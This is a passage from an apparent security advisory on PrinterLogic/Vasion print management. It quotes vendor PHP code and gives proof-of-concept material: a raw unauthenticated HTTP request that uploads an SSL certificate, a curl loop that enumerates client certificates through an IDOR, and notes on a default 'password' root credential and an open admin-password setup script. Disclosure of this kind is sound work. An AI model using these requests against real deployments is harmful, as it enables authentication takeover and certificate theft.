<span style="color: #666666">179</span>         <span style="color: #008000; font-weight: bold">try</span> {
<span style="color: #666666">180</span>             <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_null</span>(<span style="color: #19177C">$usersOrGroups</span>)) {
<span style="color: #666666">181</span>                 <span style="color: #008000; font-weight: bold">throw</span> <span style="color: #008000; font-weight: bold">new</span> NoRecordsException();
<span style="color: #666666">182</span>             }                     
<span style="color: #666666">183</span>             <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_null</span>(<span style="color: #19177C">$nodeId</span>)) {
<span style="color: #666666">184</span>                 <span style="color: #008000; font-weight: bold">throw</span> <span style="color: #008000; font-weight: bold">new</span> NoNodeIdException();
<span style="color: #666666">185</span>             }                      
<span style="color: #666666">186</span>             <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_null</span>(<span style="color: #19177C">$objType</span>)) {
<span style="color: #666666">187</span>                 <span style="color: #008000; font-weight: bold">throw</span> <span style="color: #008000; font-weight: bold">new</span> InvalidObjectTypeException();
<span style="color: #666666">188</span>             }
<span style="color: #666666">189</span> 
<span style="color: #666666">190</span>             <span style="color: #19177C">$audits</span> <span style="color: #666666">=</span> \App<span style="color: #666666">::</span><span style="color: #7D9029">make</span>(Audits<span style="color: #666666">::</span><span style="color: #7D9029">class</span>);
<span style="color: #666666">191</span>             <span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #19177C">$usersOrGroups</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$obj</span>) {
<span style="color: #666666">192</span>                 <span style="color: #19177C">$umo</span> <span style="color: #666666">=</span> UsersMicroserviceObject<span style="color: #666666">::</span><span style="color: #7D9029">firstOrCreate</span>([
<span style="color: #666666">193</span>                     <span style="color: #BA2121">&#39;unique_identifier&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$obj</span>[<span style="color: #BA2121">&#39;id&#39;</span>],
<span style="color: #666666">194</span>                     <span style="color: #BA2121">&#39;object_type&#39;</span> <span style="color: #666666">=&gt;</span> self<span style="color: #666666">::</span><span style="color: #7D9029">getIntObjType</span>(<span style="color: #19177C">$objType</span>),
<span style="color: #666666">195</span>                 ]);
<span style="color: #666666">196</span>                 TreeAssociations<span style="color: #666666">::</span><span style="color: #7D9029">firstOrCreate</span>([
<span style="color: #666666">197</span>                     <span style="color: #BA2121">&#39;node_id&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$nodeId</span>,
<span style="color: #666666">198</span>                     <span style="color: #BA2121">&#39;associated_type&#39;</span> <span style="color: #666666">=&gt;</span> self<span style="color: #666666">::</span><span style="color: #7D9029">USER_MICROSERVICE_OBJECT_ASSOCIATION_TYPE</span>,
<span style="color: #666666">199</span>                     <span style="color: #BA2121">&#39;associated_id&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$umo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span>,
<span style="color: #666666">200</span>                 ]);
<span style="color: #666666">201</span>                 <span style="color: #19177C">$audits</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">audit</span>(
<span style="color: #666666">202</span>                     <span style="color: #666666">2300</span>,
<span style="color: #666666">203</span>                     <span style="color: #BA2121">&#39;&#39;</span>,
<span style="color: #666666">204</span>                     <span style="color: #BA2121">&#39;IdP Deployment&#39;</span>,
<span style="color: #666666">205</span>                     <span style="color: #19177C">$obj</span>[<span style="color: #BA2121">&#39;id&#39;</span>],
<span style="color: #666666">206</span>                     AuditConstants<span style="color: #666666">::</span><span style="color: #7D9029">AC_CREATE</span>,
<span style="color: #666666">207</span>                     <span style="color: #BA2121">&#39;Deployment&#39;</span>,
<span style="color: #666666">208</span>                     <span style="color: #BA2121">&#39;&#39;</span>,
<span style="color: #666666">209</span>                     <span style="color: #BA2121">&#39;&#39;</span>,
<span style="color: #666666">210</span>                     AuditConstants<span style="color: #666666">::</span><span style="color: #7D9029">AT_IDP_USER</span>,
<span style="color: #666666">211</span>                     <span style="color: #BA2121">&#39;&#39;</span>,
<span style="color: #666666">212</span>                     <span style="color: #BA2121">&#39;&#39;</span>,
<span style="color: #666666">213</span>                     <span style="color: #BA2121">&#39;&#39;</span>
<span style="color: #666666">214</span>                 );
<span style="color: #666666">215</span>             }
<span style="color: #666666">216</span>         } <span style="color: #008000; font-weight: bold">catch</span> (NoRecordsException <span style="color: #19177C">$e</span>) {
<span style="color: #666666">217</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$e</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>(), <span style="color: #BA2121">&#39;INVALID-RECORDS&#39;</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_BAD_REQUEST</span>);
<span style="color: #666666">218</span>         } <span style="color: #008000; font-weight: bold">catch</span> (NoNodeIdException <span style="color: #19177C">$e</span>) {
<span style="color: #666666">219</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$e</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>(), <span style="color: #BA2121">&#39;INVALID-NODE-ID&#39;</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_BAD_REQUEST</span>);
<span style="color: #666666">220</span>         } <span style="color: #008000; font-weight: bold">catch</span> (InvalidObjectTypeException <span style="color: #19177C">$e</span>) {
<span style="color: #666666">221</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$e</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>(), <span style="color: #BA2121">&#39;INVALID-OBJECT-TYPE&#39;</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_BAD_REQUEST</span>);
<span style="color: #666666">222</span>         } <span style="color: #008000; font-weight: bold">catch</span> (Exception <span style="color: #19177C">$e</span>) {
<span style="color: #666666">223</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$e</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>(), <span style="color: #008000; font-weight: bold">null</span>, <span style="color: #19177C">$e</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getCode</span>());
<span style="color: #666666">224</span>         }                                                                                                                                                                                       
<span style="color: #666666">225</span>         <span style="color: #008000; font-weight: bold">return</span> response()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>([<span style="color: #BA2121">&#39;message&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;created&#39;</span>], HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_CREATED</span>);                                                                                                          
<span style="color: #666666">226</span>     }
[<span style="color: #666666">...</span>]
</pre></div>

<p>An attacker can control the authentication mechanism and compromise PrinterLogic VA/SaaS.</p>
<p><a id="va-insecure-apis-02"></a></p>
<h2>Details - Unauthenticated admin APIs allowing to upload/download SSL certificates</h2>
<p>It was observed that some admin APIs are reachable without authentication, including APIs allowing to upload, generate and delete certificates:</p>
<ul>
<li>/admin/hp/cert_upload</li>
<li>/admin/hp/cert_delete</li>
<li>/admin/certs/ca</li>
<li>/admin/certs/serviceclients/{scid}</li>
</ul>
<p>These routes are defined in the <code>/var/www/app/routes/web.php</code> file located inside the <code>printercloud/pi</code> Docker instance:</p>
<p>Content of <code>/var/www/app/routes/web.php</code> inside the <code>printercloud/pi</code> Docker instance:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">103</span>     <span style="color: #408080; font-style: italic">/*   </span>
<span style="color: #408080; font-style: italic">104      * Certificate file upload Route</span>
<span style="color: #408080; font-style: italic">105      */</span>   
<span style="color: #666666">106</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">post</span>(<span style="color: #BA2121">&#39;/hp/cert_upload&#39;</span>, [
<span style="color: #666666">107</span>         <span style="color: #BA2121">&#39;as&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;hp.cert-upload&#39;</span>,
<span style="color: #666666">108</span>         <span style="color: #BA2121">&#39;uses&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;HPCertificateController@uploadCertificate&#39;</span>
<span style="color: #666666">109</span>     ]);  
<span style="color: #666666">110</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">post</span>(<span style="color: #BA2121">&#39;/hp/cert_delete&#39;</span>, [
<span style="color: #666666">111</span>         <span style="color: #BA2121">&#39;as&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;hp.cert-delete&#39;</span>,
<span style="color: #666666">112</span>         <span style="color: #BA2121">&#39;uses&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;HPCertificateController@deleteCertificate&#39;</span>
<span style="color: #666666">113</span>     ]);  
<span style="color: #666666">114</span> 
<span style="color: #666666">115</span>     <span style="color: #BA2121; font-style: italic">/**  </span>
<span style="color: #BA2121; font-style: italic">116      * Certificate download routes</span>
<span style="color: #BA2121; font-style: italic">117      */</span>   
<span style="color: #666666">118</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;/certs/ca&#39;</span>, [
<span style="color: #666666">119</span>         <span style="color: #BA2121">&#39;as&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;cert.ca&#39;</span>,
<span style="color: #666666">120</span>         <span style="color: #BA2121">&#39;uses&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;CertificateController@downloadCACertificate&#39;</span>     
<span style="color: #666666">121</span>     ]);  
<span style="color: #666666">122</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;/certs/serviceclients/{scid}&#39;</span>, [
<span style="color: #666666">123</span>         <span style="color: #BA2121">&#39;as&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;certs.servicelcients-scid&#39;</span>,
<span style="color: #666666">124</span>         <span style="color: #BA2121">&#39;uses&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;CertificateController@downloadServiceHostCertificate&#39;</span>
<span style="color: #666666">125</span>     ]);]);
</pre></div>

<p>And it is possible to upload a new certificate without authentication:</p>
<pre><code>POST /admin/hp/cert_upload HTTP/1.1
Host: 10.105.0.60
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------11897246743682233937470939635
Content-Length: 1202
Origin: http://10.105.0.60
Connection: close
Referer: http://10.105.0.60/admin/design/cert_upload.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

-----------------------------11897246743682233937470939635
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2621440
-----------------------------11897246743682233937470939635
Content-Disposition: form-data; name="certificate"; filename="tt"
Content-Type: application/octet-stream

-----BEGIN CERTIFICATE-----
MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNV
BAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRk
LjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJv
b3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZaFw00MjA4MjIxMjA3MDZaMHExCzAJ
BgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMg
THRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25v
IFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtv
xie+RJCxs1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+H
Wyx7xf58etqjYzBhMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
A1UdDgQWBBSHERUI0arBeAyxr87GyZDvvzAEwDAfBgNVHSMEGDAWgBSHERUI0arB
eAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEAtVfd14pVCzbhhkT61Nlo
jbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxOsvxyqltZ
+efcMQ==
-----END CERTIFICATE-----


-----------------------------11897246743682233937470939635--


HTTP/1.1 200 OK
Cache-Control: no-cache, private
Content-Security-Policy: frame-ancestors 'self'
Content-Type: text/html; charset=UTF-8
Date: Wed, 03 Jan 2024 14:14:26 GMT
Server: nginx
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Connection: close
Content-Length: 37

{"message":"Success","filename":"tt"}
</code></pre>
<p>Upload a of a new certificate</p>
<p><img alt="" src="images/2025-vasion-report-2-no-auth-upload-certificate.png" /></p>
<p><a href="images/2025-vasion-report-2-no-auth-upload-certificate-full.png">Click here for full image</a></p>
<p>The APIs are implemented inside the <code>/var/www/app/Http/Controllers/HPCertificateController.php</code> file, and there is no authentication:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">21</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">HPCertificateController</span> <span style="color: #008000; font-weight: bold">extends</span> Controller
 <span style="color: #666666">22</span> {
 <span style="color: #666666">23</span>     <span style="color: #008000; font-weight: bold">use</span> DispatchesJobs;
 <span style="color: #666666">24</span>                                
 <span style="color: #666666">25</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">__construct</span>()
 <span style="color: #666666">26</span>     {
 <span style="color: #666666">27</span>     }
 <span style="color: #666666">28</span> 
 <span style="color: #666666">29</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">uploadCertificate</span>(Request <span style="color: #19177C">$request</span>)
 <span style="color: #666666">30</span>     {
 <span style="color: #666666">31</span>         <span style="color: #19177C">$file</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">file</span>(<span style="color: #BA2121">&#39;certificate&#39;</span>);
 <span style="color: #666666">32</span>         <span style="color: #19177C">$temp_file</span> <span style="color: #666666">=</span> \File<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #19177C">$file</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">path</span>());
 <span style="color: #666666">33</span>         <span style="color: #008000; font-weight: bold">if</span>((<span style="color: #008000">stripos</span>(<span style="color: #19177C">$temp_file</span>, <span style="color: #BA2121">&#39;-----BEGIN CERTIFICATE-----&#39;</span>) <span style="color: #666666">&gt;=</span> <span style="color: #666666">0</span>) <span style="color: #666666">&amp;&amp;</span> (<span style="color: #008000">stripos</span>(<span style="color: #19177C">$temp_file</span>, <span style="color: #BA2121">&#39;-----END CERTIFICATE-----&#39;</span>)))
 <span style="color: #666666">34</span>         {
 <span style="color: #666666">35</span>             <span style="color: #19177C">$api_file_service</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> ApiFilesService();
 <span style="color: #666666">36</span>             <span style="color: #19177C">$api_file</span> <span style="color: #666666">=</span> <span style="color: #19177C">$api_file_service</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getCertificateByName</span>(<span style="color: #19177C">$file</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getClientOriginalName</span>());
 <span style="color: #666666">37</span>             <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$api_file</span> <span style="color: #666666">===</span> <span style="color: #008000; font-weight: bold">null</span>)
 <span style="color: #666666">38</span>             {
 <span style="color: #666666">39</span>                 <span style="color: #19177C">$file_sql</span> <span style="color: #666666">=</span> <span style="color: #19177C">$api_file_service</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">newApiFile</span>(<span style="color: #19177C">$file</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getClientOriginalName</span>(), <span style="color: #19177C">$file</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getType</span>(), <span style="color: #008000">strlen</span>(<span style="color: #19177C">$temp_file</span>), <span style="color: #19177C">$temp_file</span>);
 <span style="color: #666666">40</span>             }
 <span style="color: #666666">41</span>             <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">42</span>             {
 <span style="color: #666666">43</span>                 <span style="color: #19177C">$file_sql</span> <span style="color: #666666">=</span> <span style="color: #19177C">$api_file_service</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">updateApiFile</span>(<span style="color: #19177C">$file</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getClientOriginalName</span>(), <span style="color: #19177C">$file</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getType</span>(), <span style="color: #008000">strlen</span>(<span style="color: #19177C">$temp_file</span>), <span style="color: #19177C">$temp_file</span>);
 <span style="color: #666666">44</span>             }
 <span style="color: #666666">45</span>             <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$file_sql</span> <span style="color: #666666">===</span> <span style="color: #008000; font-weight: bold">true</span> <span style="color: #666666">||</span> <span style="color: #19177C">$file_sql</span> <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>)
 <span style="color: #666666">46</span>             {
 <span style="color: #666666">47</span>                 <span style="color: #19177C">$needs_update</span> <span style="color: #666666">=</span> Printer<span style="color: #666666">::</span><span style="color: #7D9029">where</span>(<span style="color: #008000; font-weight: bold">function</span>(<span style="color: #19177C">$q</span>)
 <span style="color: #666666">48</span>                 {
 <span style="color: #666666">49</span>                     <span style="color: #19177C">$q</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">where</span>(<span style="color: #008000; font-weight: bold">function</span>(<span style="color: #19177C">$query</span>)
 <span style="color: #666666">50</span>                     {
 <span style="color: #666666">51</span>                         <span style="color: #19177C">$query</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">where</span>(<span style="color: #BA2121">&#39;make&#39;</span>, <span style="color: #BA2121">&#39;=&#39;</span>, <span style="color: #BA2121">&#39;hp&#39;</span>)
 <span style="color: #666666">52</span>                             <span style="color: #666666">-&gt;</span><span style="color: #7D9029">where</span>(<span style="color: #BA2121">&#39;console_installed&#39;</span>, <span style="color: #BA2121">&#39;=&#39;</span>, <span style="color: #BA2121">&#39;1&#39;</span>);
 <span style="color: #666666">53</span>                     })
 <span style="color: #666666">54</span>                     <span style="color: #666666">-&gt;</span><span style="color: #7D9029">orWhere</span>(<span style="color: #008000; font-weight: bold">function</span>(<span style="color: #19177C">$query</span>)
 <span style="color: #666666">55</span>                     {
 <span style="color: #666666">56</span>                         <span style="color: #19177C">$query</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">where</span>(<span style="color: #BA2121">&#39;make&#39;</span>, <span style="color: #BA2121">&#39;=&#39;</span>, <span style="color: #BA2121">&#39;&#39;</span>)
 <span style="color: #666666">57</span>                               <span style="color: #666666">-&gt;</span><span style="color: #7D9029">where</span>(<span style="color: #BA2121">&#39;console_installed&#39;</span>, <span style="color: #BA2121">&#39;=&#39;</span>, <span style="color: #BA2121">&#39;1&#39;</span>);
 <span style="color: #666666">58</span>                     });
 <span style="color: #666666">59</span>                 })<span style="color: #666666">-&gt;</span><span style="color: #7D9029">get</span>();
 <span style="color: #666666">60</span>                 <span style="color: #008000; font-weight: bold">foreach</span>(<span style="color: #19177C">$needs_update</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$update</span>)
 <span style="color: #666666">61</span>                 {   
 <span style="color: #666666">62</span>                     <span style="color: #19177C">$temp_update_result</span> <span style="color: #666666">=</span> Printer<span style="color: #666666">::</span><span style="color: #7D9029">where</span>(<span style="color: #BA2121">&#39;id&#39;</span>, <span style="color: #BA2121">&#39;=&#39;</span>, <span style="color: #19177C">$update</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span>)<span style="color: #666666">-&gt;</span><span style="color: #7D9029">first</span>();
 <span style="color: #666666">63</span>                     <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$temp_update_result</span> <span style="color: #666666">!==</span> <span style="color: #008000; font-weight: bold">false</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #19177C">$temp_update_result</span> <span style="color: #666666">!==</span> <span style="color: #008000; font-weight: bold">null</span>)
 <span style="color: #666666">64</span>                     {
 <span style="color: #666666">65</span>                         <span style="color: #19177C">$temp_update_result</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">cpa_hp_needs_update</span> <span style="color: #666666">=</span> <span style="color: #666666">1</span>;
 <span style="color: #666666">66</span>                         <span style="color: #19177C">$temp_update_result</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">update</span>();
 <span style="color: #666666">67</span>                     }
 <span style="color: #666666">68</span>                 }
 <span style="color: #666666">69</span>                 <span style="color: #008000; font-weight: bold">try</span>
 <span style="color: #666666">70</span>                 {
 <span style="color: #666666">71</span>                     (<span style="color: #008000; font-weight: bold">new</span> UpdateHPCpaJob())
 <span style="color: #666666">72</span>                         <span style="color: #666666">-&gt;</span><span style="color: #7D9029">onQueue</span>(<span style="color: #BA2121">&#39;update-hp&#39;</span>)
 <span style="color: #666666">73</span>                         <span style="color: #666666">-&gt;</span><span style="color: #7D9029">dispatch</span>();
 <span style="color: #666666">74</span>                 }
 <span style="color: #666666">75</span>                 <span style="color: #008000; font-weight: bold">catch</span>(Exception <span style="color: #19177C">$ex</span>)
 <span style="color: #666666">76</span>                 {
 <span style="color: #666666">77</span>                     Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #BA2121">&quot;Catch - &quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$ex</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>());
 <span style="color: #666666">78</span>                 }
 <span style="color: #666666">79</span>                 <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>
 <span style="color: #666666">80</span>                 (
 <span style="color: #666666">81</span>                     <span style="color: #BA2121">&#39;message&#39;</span>   <span style="color: #666666">=&gt;</span>  <span style="color: #BA2121">&#39;Success&#39;</span>,
 <span style="color: #666666">82</span>                     <span style="color: #BA2121">&#39;filename&#39;</span>  <span style="color: #666666">=&gt;</span>  <span style="color: #19177C">$file</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getClientOriginalName</span>(),
 <span style="color: #666666">83</span>                 );
 <span style="color: #666666">84</span>                 <span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000">json_encode</span>(<span style="color: #19177C">$response</span>);
 <span style="color: #666666">85</span>             }
 <span style="color: #666666">86</span>             <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">87</span>             {
 <span style="color: #666666">88</span>                 <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>
 <span style="color: #666666">89</span>                 (
 <span style="color: #666666">90</span>                     <span style="color: #BA2121">&#39;message&#39;</span>   <span style="color: #666666">=&gt;</span>  <span style="color: #BA2121">&#39;Fail&#39;</span>,
 <span style="color: #666666">91</span>                 );
 <span style="color: #666666">92</span>                 <span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000">json_encode</span>(<span style="color: #19177C">$response</span>);
 <span style="color: #666666">93</span>             }
 <span style="color: #666666">94</span>         }
 <span style="color: #666666">95</span>         <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">96</span>         {                    
 <span style="color: #666666">97</span>             <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(
 <span style="color: #666666">98</span>                 <span style="color: #BA2121">&#39;message&#39;</span>   <span style="color: #666666">=&gt;</span>  <span style="color: #BA2121">&#39;Validation failed&#39;</span>,
 <span style="color: #666666">99</span>                 <span style="color: #BA2121">&#39;errors&#39;</span>    <span style="color: #666666">=&gt;</span>  <span style="color: #BA2121">&#39;Not a valid certificate&#39;</span>,
<span style="color: #666666">100</span>             );
<span style="color: #666666">101</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000">json_encode</span>(<span style="color: #19177C">$response</span>);
<span style="color: #666666">102</span>         }
<span style="color: #666666">103</span>     }
<span style="color: #666666">104</span>                                                                                                                                                                                                 
<span style="color: #666666">105</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">deleteCertificate</span>()                                                                                                                                                         
<span style="color: #666666">106</span>     {                                                                                                                                                                                           
<span style="color: #666666">107</span>         <span style="color: #19177C">$api_files_service</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> ApiFilesService();
<span style="color: #666666">108</span>         <span style="color: #19177C">$certificate_file</span> <span style="color: #666666">=</span> <span style="color: #19177C">$api_files_service</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getCertificate</span>();
<span style="color: #666666">109</span>         <span style="color: #19177C">$certificate_file</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">delete</span>();
<span style="color: #666666">110</span>         <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(
<span style="color: #666666">111</span>             <span style="color: #BA2121">&quot;message&quot;</span>   <span style="color: #666666">=&gt;</span>  <span style="color: #BA2121">&quot;Success&quot;</span>,
<span style="color: #666666">112</span>         );
<span style="color: #666666">113</span>         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000; font-weight: bold">new</span> JsonResponse(<span style="color: #19177C">$response</span>);
<span style="color: #666666">114</span>     }
<span style="color: #666666">115</span> }
</pre></div>

<p>The <code>/admin/certs/serviceclients/{scid}</code> API can be used to download SSL certificates corresponding to clients (e.g. <code>https://[redacted].printercloud10.com/admin/certs/serviceclients/1</code>). There is an IDOR vulnerability in the <code>/admin/certs/serviceclients/</code> API as it is possible to enumerate all the service clients and retrieve the corresponding SSL certificates:</p>
<pre><code>kali% for i in {1..1000}; do curl "https://[redacted].printercloud10.com/admin/certs/serviceclients/$i";echo;done
Failed to find service client with id: 1
Failed to find service client with id: 2
Failed to find service client with id: 3
Failed to find service client with id: 4
Failed to find service client with id: 5
Failed to find service client with id: 6
Failed to find service client with id: 7
Failed to find service client with id: 8
^C
kali%
</code></pre>
<p>An attacker can retrieve the certificates of clients.</p>
<p><a id="va-insecure-credentials-installation"></a></p>
<h2>Details - Insecure credentials used for the installation</h2>
<p>It was observed that default insecure credentials are used during the installation. Also, the webpage using weak credentials is reachable without authentication after the installation.</p>
<p>Using default password does not respect the California SB-327 regulation. By default, the root user has the <code>password</code> password.</p>
<p>Also, during the installation process, an attacker can reach the web interface used, specify any new credential and get admin privileges.</p>
<p>The <code>admin/query/update_database.php</code> is reachable without authentication and will use data provided by an attacker over POST to define a new admin password:</p>
<p>Content of <code>/var/www/app/admin/query/update_database.php</code>:</p>
<pre>
[...]
  2 
  3 use PrinterLogic\Events\DatabaseInitialized;
  4 use Illuminate\Support\Facades\DB;
  5 
  6 //only used during initial creation of database from management_server_Requests
  7 $err = "";
  8 
  9 set_time_limit(2400);
 10 ob_start();
 11 
 12 require_once("global.php");
 13 require_once(ABSPATH."lib/dao/dbopen.php");
 14 require_once(ABSPATH."lib/dao/my_sql/ppp_statements.php");
 15 require_once(ABSPATH."lib/dao/update_database.inc.php");
 16 
 17 echo $err;
 18 
 19 $last_error = "";
 20 $res = prepare_database($last_error, $statementcount, $statements);
 21 $le2 = ob_get_contents();
 22 ob_end_clean();
 23 
 24 if (!empty($le2)) {
 25     respond_failure($le2);
 26     die();
 27 }
 28 
 29 if ($res === 1) {
 30     respond_continue("Updating database", "");
 31     return;
 32 } elseif ($res === 2) {
 33     xml();
 34     echo '<result code="9" sub="1"><desc>'.escape_html($last_error).'</desc><params></params></result>';
 35 } elseif (!empty($last_error)) {
 36     respond_failure($last_error);
 37     die();
 38 } elseif ($res === true && isset($_POST['create_snapshot'])) {
 39     echo 'Created snapshot of database (before admin account insert and ProductionSeeders).';
 40     return;
 41 }
 42 
 43 xml_buffer();
 44 
 45 // Set the initial admin email/password.
 46 $root_user = "";
 47 $root_password = "";
 48 $root_recovery_email = "";
 49 $root_first = "";
 50 $root_last = "";
 51 
<font color=red> 52 poststr('root_user', $root_user);
 53 poststr('root_password', $root_password);
 54 poststr('root_user_email', $root_recovery_email);</font>
 55 
 56 $root_user = empty($root_user) ? "" : $root_user;
 57 $root_password = empty($root_password) ? "" : $root_password;
 58 $root_recovery_email = empty($root_recovery_email) ? "" : $root_recovery_email;
 59 $root_last = empty($root_last) ? "" : $root_last;
 60 $root_first = empty($root_first) ? "" : $root_first;
 61 
 62 if (!filter_var($root_recovery_email, FILTER_VALIDATE_EMAIL)) {
